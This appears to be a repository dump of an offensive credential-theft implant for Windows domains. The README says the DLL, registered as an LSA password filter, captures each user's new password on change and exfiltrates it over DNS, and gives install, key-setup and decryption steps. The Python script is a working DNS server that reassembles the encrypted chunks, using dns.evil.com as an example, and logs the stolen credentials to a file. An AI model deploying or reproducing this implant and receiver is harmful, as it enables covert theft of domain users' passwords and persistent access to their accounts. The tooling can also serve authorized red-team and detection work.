11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/PoC/main.cpp:
--------------------------------------------------------------------------------
1 | // TestJig.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #define WIN32_LEAN_AND_MEAN
5 | #include
6 | #include
7 | #include
8 |
9 | #include
10 |
11 | #include "../DLLPasswordFilterImplant/crypt.h"
12 |
13 | extern "C" {
14 |
15 | __declspec(dllexport) BOOLEAN WINAPI InitializeChangeNotify(void);
16 | __declspec(dllexport) BOOLEAN WINAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation);
17 | __declspec(dllexport) NTSTATUS WINAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword);
18 |
19 |
20 | }
21 |
22 | wchar_t STR[] = L"HELLO";
23 | int main()
24 | {
25 | std::cout << "Hello World!\n";
26 |
27 | wchar_t* buf = new wchar_t[10];
28 | memcpy(buf, &STR, sizeof(STR));
29 |
30 | // Lol penible.
31 | UNICODE_STRING acc;
32 | acc.Buffer = buf;
33 | acc.Length = 10; acc.MaximumLength = 20;
34 | InitializeChangeNotify();
35 | assert(PasswordFilter(&acc, &acc, &acc, 1));
36 |
37 | if (PasswordFilter(&acc, &acc, &acc, 1)) {
38 | PasswordChangeNotify(&acc, 123, &acc);
39 | }
40 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DLLPasswordFilterImplant
2 |
3 | DLLPasswordFilterImplant is a custom password filter DLL that allows the capture
4 | of a user's credentials. Each password change event on a domain will trigger the
5 | registered DLL in order to exfiltrate the username and new password value prior
6 | successfully changing it in the Active Directory (AD).
7 |
8 | For more information about password filters consult the [Microsoft documentation][1].
9 |
10 |
11 | [1]: (https://msdn.microsoft.com/en-us/library/windows/desktop/ms721882(v=vs.85).aspx) "Password Filter Documentation"
12 |
13 | ## Installing
14 |
15 | 1. To install the password filter on a system:
16 | * Create the DLL for the targeted architecture. Compile in 32-bit for a 32-bit system and in 64-bit for a 64-bit system.
17 | * Copy the DLL to the Windows installation directory. (Default folder: \Windows\System32)
18 | * Register the password filter by updating the following registry key:
19 | ```
20 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
21 | ```
22 | If the `Notification Packages` subkey exists, add the name of the DLL ("DLLPasswordFilterImplant" if you didn't rename it) to the existing value data. Do not overwrite the existing values.
23 | If the subkey does not exist, create it and add the name of the DLL ("DLLPasswordFilterImplant" if you didn't rename it) to the value data.
24 | **NOTE:** Do not include the `.dll` extension when adding the name of the DLL in the `Notification Packages` subkey.
25 | * Configure the public key to use for encrypting credentials.
26 | ```
27 | KEY=key.pem
28 | # Generate an RSA key and dump its public key. Keep the private key around for decryption
29 | openssl genrsa -out $KEY 2048
30 |
31 | # Prepare the Windows registry key entry.
32 | echo 'Windows Registry Editor Version 5.00' > addKey.reg
33 | echo >> addKey.reg
34 | echo '[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]' >> addKey.reg
35 | # If python2 does not exist, use `python` instead.
36 | echo "Key=hex:$(openssl rsa -in $KEY -pubout | sed -E '/^\-/d' | base64 -d | python2 -c 'import sys; print(",".join(["{:02x}".format(ord(b)) for b in sys.stdin.read()]))')" >> addKey.reg
37 | ```
38 | You can then run `addKey.reg` file to append the raw public key to the registry.
39 | Note that using asymmetric encryption significantly increases the size of
40 | the data to exfiltrate due to message padding. There are possible
41 | improvements to be made to reduce the data overhead.
42 |
43 | * Restart the system
44 | [Source](https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx)
45 |
46 | 2. To register the key and the domain for DNS exfiltration:
47 | * Go to the following registry key:
48 | ```
49 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
50 | ```
51 | * Create a string type subkey named "Domain". Specify your domain in the value of that subkey. **Your domain must start with a "." .** (Example value: ".yourdomain.com")
52 |
53 | ## Decrypting
54 |
55 | The encrypted data is padded using OAEP and can be decrypted as follows:
56 |
57 | ```
58 | # Convert the stitched hex string to raw bytes.
59 | xxd -r -p exfiltrated.hex > raw.bin
60 |
61 | # Decrypt using the private key.
62 | openssl rsautl -decrypt -oaep -inkey $KEY -in raw.bin -out decrypted.txt
63 | ```
64 |
65 | ## Uninstalling
66 |
67 | To completely remove the password filter of a system:
68 | * Unregister the password filter by updating the following registry key:
69 | ```
70 | HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Control\Lsa
71 | ```
72 | In the Notification Packages subkey remove the name of the DLL of the existing value data. Do not remove other existing values.
73 |
74 | * Restart the system
75 | * In the Windows installation directory (Default folder: \Windows\System32), find the password filter DLL ("DLLPasswordFilterImplant.DLL" if you didn't rename it) and delete the file.
76 |
77 |
78 | ## DNS Exfiltration Server
79 |
80 | A simple DNS server to receive the exfiltrated data is provided in `scripts/`.
81 | Run `pip install -r scripts/requirement.txt`, preferably in a virtual
82 | environment. and then provide it with a .PEM encoded private key and optional
83 | output file (defaults to `creds.txt`) where to output the credentials.
84 |
85 | Currently, the DNS server does not support concurrent password changes and
86 | serves only as a proof of concept. Pull requests adding robustness to the server
87 | are more than welcome.
88 |
89 |
90 | ## Caveats
91 |
92 | - Deleting the implant requires to first disable it and then restart Windows.
93 |
94 |
95 | ## Compatibility
96 |
97 | Works on:
98 | * Windows 7 Hosts (x64)
99 | * Windows 10 Hosts (x64)
100 | * Windows Server 2008 DCs (x64)
101 | * Windows Server 2012 DCs (x64)
102 | * Windows Server 2016 DCs (x64)
103 |
104 | The password filter was tested exclusively on systems listed above.
105 |
106 | ## Debug
107 |
108 | Here are some tool that may help you debug the DLL (if necessary):
109 | * [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer)
110 | * [Dependency Walker](http://www.dependencywalker.com/)
111 |
112 |
--------------------------------------------------------------------------------
/scripts/dns.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | from __future__ import print_function
5 |
6 | import re
7 | from math import ceil
8 | import time
9 |
10 | from dnslib import RR,QTYPE,RCODE,TXT,parse_time
11 | from dnslib.label import DNSLabel
12 | from dnslib.server import DNSServer,DNSHandler,BaseResolver,DNSLogger
13 | from Crypto.PublicKey import RSA
14 | from Crypto.Cipher import PKCS1_OAEP
15 |
16 | SYNTAX = re.compile(r'(\d+)\.([a-fA-F0-9]+)\..*')
17 | MAX_LABEL_SIZE = 62 # Should match define in passwordFilter.c
18 |
19 | class ExfilResolver(BaseResolver):
20 | """
21 | A DNS resolver that always replies with an empty record, but keeps track of
22 | encrypted chunks and dumps decrypted blocks.
23 |
24 | The chunks are formatted according to the `SYNTAX` regular expression, that is:
25 | ..domain.name.tld
26 |
27 | For example, `01.85437de3829bc[...]432f.dns.evil.com`
28 |
29 | The server will compupte the expected number of chunks based on the private
30 | key length automatically.
31 |
32 | Currently, the server does not support concurrent requests, in the off chance that
33 | two password changes occur simultaneously. This could be implemented in two ways:
34 |
35 | 1. Cluster chunks by time intervals. This can still fail if two resets
36 | happen in very close succession.
37 | 2. Add an additional label on the domain that contains a block
38 | identifier. This requires changing the implant code and updating the
39 | Empire module.
40 |
41 | FIXME: Group by time proximity to avoid interleaving?
42 | FIXME: Edge case: Simultaneous exfiltrations will lead to interleaved blocks
43 | """
44 | def __init__(self,ttl,outfile, key):
45 | self.ttl = parse_time(ttl)
46 | self.out = outfile
47 | self.key = key
48 | self.chunk_num = ceil(key.size_in_bytes() / (MAX_LABEL_SIZE/2.0))
49 |
50 | # Keep track of requests
51 | self.chunks = {}
52 |
53 | def decrypt(self, block):
54 | rsa = PKCS1_OAEP.new(self.key)
55 | return rsa.decrypt(block).strip().replace('\x00', '')
56 |
57 | def resolve(self,request,handler):
58 | reply = request.reply()
59 | qname = request.q.qname
60 | # Format is 00.DATA.domain.tld'
61 | qstr = str(qname)
62 | label = qstr.split('.')
63 |
64 | if SYNTAX.match(qstr):
65 | chunk_id = int(label[0])
66 | chunk_data = label[1]
67 | if chunk_id not in self.chunks: self.chunks[chunk_id] = chunk_data
68 |
69 | # Decrypt and dump the chunk
70 | if len(self.chunks) == self.chunk_num:
71 | block = "".join([ self.chunks[i] for i in sorted(self.chunks.keys())]).decode('hex')
72 | plain = self.decrypt(block)
73 | try:
74 | print('[+] %s: Credentials logged for user %s' % (time.ctime(), plain.split(':')[0]))
75 | with open(self.out, 'ab') as o:
76 | o.write('[%s] %s\n' % (time.ctime(), plain))
77 | except:
78 | pass
79 | self.chunks.clear()
80 |
81 | reply.add_answer(RR(qname,QTYPE.TXT,ttl=self.ttl, rdata=TXT("x00x00x00x00x00")))
82 | return reply
83 |
84 | if __name__ == '__main__':
85 | import argparse,sys,time
86 |
87 | p = argparse.ArgumentParser(description="A simple receive-only DNS server for exfiltration")
88 | p.add_argument("--ttl","-t",default="60s", metavar="", help="Response TTL (default: 60s)")
89 | p.add_argument("--port","-p",type=int,default=53, metavar="", help="Server port (default:53)")
90 | p.add_argument("--address","-a",default="", metavar="", help="Listen address (default:all)")
91 | p.add_argument("--output", "-o",required=False, default="creds.txt", help="Filename to output credentials to (default: creds.txt)")
92 | p.add_argument("--key", "-k",required=True, default="key.pem", help="Path to the private key for decryption")
93 | args = p.parse_args()
94 |
95 | print('[+] dns.py Started: %s' % (time.ctime()))
96 | # Load private key
97 | print('[+] Loading private key...')
98 | with open(args.key, 'rb') as k:
99 | raw = k.read()
100 | try:
101 | key = RSA.import_key(raw)
102 | except:
103 | # Maybe with a passphrase?
104 | try:
105 | import getpass
106 | p = getpass.getpass()
107 | key = RSA.import_key(raw, passphrase=p.strip())
108 | except Exception as e:
109 | print('[!] Could not read private key: ' + str(e))
110 | sys.exit(1)
111 |
112 | resolver = ExfilResolver(args.ttl, args.output, key)
113 | # logger = DNSLogger("request,reply,truncated,error",False)
114 | logger = DNSLogger("error",False)
115 |
116 | udp_server = DNSServer(resolver, port=args.port, address=args.address, logger=logger)
117 | udp_server.start_thread()
118 |
119 | print('[+] DNS Server started')
120 | while udp_server.isAlive(): time.sleep(1)
121 |
--------------------------------------------------------------------------------
/scripts/requirements.txt:
--------------------------------------------------------------------------------
1 | pycryptodome
2 | dnslib
3 |
--------------------------------------------------------------------------------